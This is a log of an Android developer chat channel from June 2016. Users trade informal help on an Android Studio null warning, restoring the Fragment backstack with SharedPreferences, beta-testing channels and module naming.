pastebin the code around it Jun 17 00:50:37 oh wait, is this inside the click listener? Jun 17 00:50:52 and the imageview member is on your activity/fragment/view Jun 17 00:50:54 ? Jun 17 00:52:17 s73v3r, http://i.imgur.com/IkGDSRn.jpg Jun 17 00:52:20 It Jun 17 00:52:31 It's in my Activity's layout Jun 17 00:52:40 and loginButton is the thing it’s saying could be null? Jun 17 00:52:49 Yes Jun 17 00:53:23 It compiles just fine and everything's working ok Jun 17 00:53:24 you sure it’s not complaining about the Arrays.asList() method? Jun 17 00:53:47 it could also just be a hiccup in AS parsing Jun 17 00:53:51 errr, indexing Jun 17 00:54:16 I rebuilt it in hope it'll gone Jun 17 00:54:24 No luck, though Jun 17 00:55:19 Really weird Jun 17 00:58:01 Hi all. Quick question. What is the best practice way for recreating the Fragment backstack after an Activity has been destroyed/reclaimed by memory and then user comes back to app? Jun 17 01:00:25 I don't need to retain data in any of the Fragments. I just need to retain which Fragment the user was on when the Activity was destroyed and keep the same backstack Jun 17 01:00:59 the problem is that you might not be told that the app has been killed Jun 17 01:01:21 i feel there is a framework way to do this, but I can’t think of it offhand Jun 17 01:01:41 the way I could think to do it is to save something in SharedPreferences Jun 17 01:02:34 this might help: https://inthecheesefactory.com/blog/fragment-state-saving-best-practices/en Jun 17 01:04:40 I will check it out, thanks Jun 17 01:04:45 should i disable login for beta-version if my app needs a user to login before usage. Jun 17 01:08:08 either that, or just create accounts directly on the DB Jun 17 01:08:31 or, have part of using the beta be to sign up for an account Jun 17 01:10:04 i see Jun 17 01:11:12 what do you recommend. google play store beta testing or hockeyapp ? Jun 17 01:11:27 do most people go with the directoryf 'app' for the main part of the app or do most people rename that? Jun 17 01:11:38 * pepperoni is new to android Jun 17 01:19:36 'app' is your module Jun 17 01:22:06 @s73v3r The using SharedPreferences idea worked well; I only have a few Fragments in the project I'm currently on so it's easy to maintain that state, and this way we can resume the previous Fragment even after app is force closed Jun 17 01:22:20 By checking which was last opened Jun 17 01:23:01 hmm Jun 17 01:23:03 @kuroro Google Play's beta testing is pretty solid. And I heard you don't need to use Google+ test groups anymore but I haven't tried it in a while Jun 17 01:23:36 That way your beta testers can get updates through normal app channel Jun 17 01:23:44 Instead of needing something third party Jun 17 01:27:34 orbyt_: ok, it's one module, but is it normal to keep that name or do ppl usually rename it Jun 17 01:27:45 and he's gone Jun 17 01:27:54 Keep it, unless you are going to use multiple modules that have specific purposes Jun 17 01:28:08 i.e. having data module, view module, etc. Jun 17 01:28:31 For most apps though that would be overboard, unless you are working on a massive project with lots of people Jun 17 01:28:32 liuwenhao: ah, ok, yes, i have my main code in that one, and then others many other library mods as well Jun 17 01:28:58 Yeah, 95% of the time that's all you need Jun 17 01:29:24 anyone knows the vendor id of the Evertek mobile devices manufacturer from tunisia ? Jun 17 01:29:47 i have this android phone by evertek that i'm using to test my apps from android studio Jun 17 01:59:06 Leeds oh, about that samsung / joyent thing - i just realized joyent was behind node.js Jun 17 02:54:58 good lord @ difficulty showing and hiding keyboard Jun 17 02:55:08 ? **** ENDING LOGGING AT Fri Jun 17 02:59:58 2016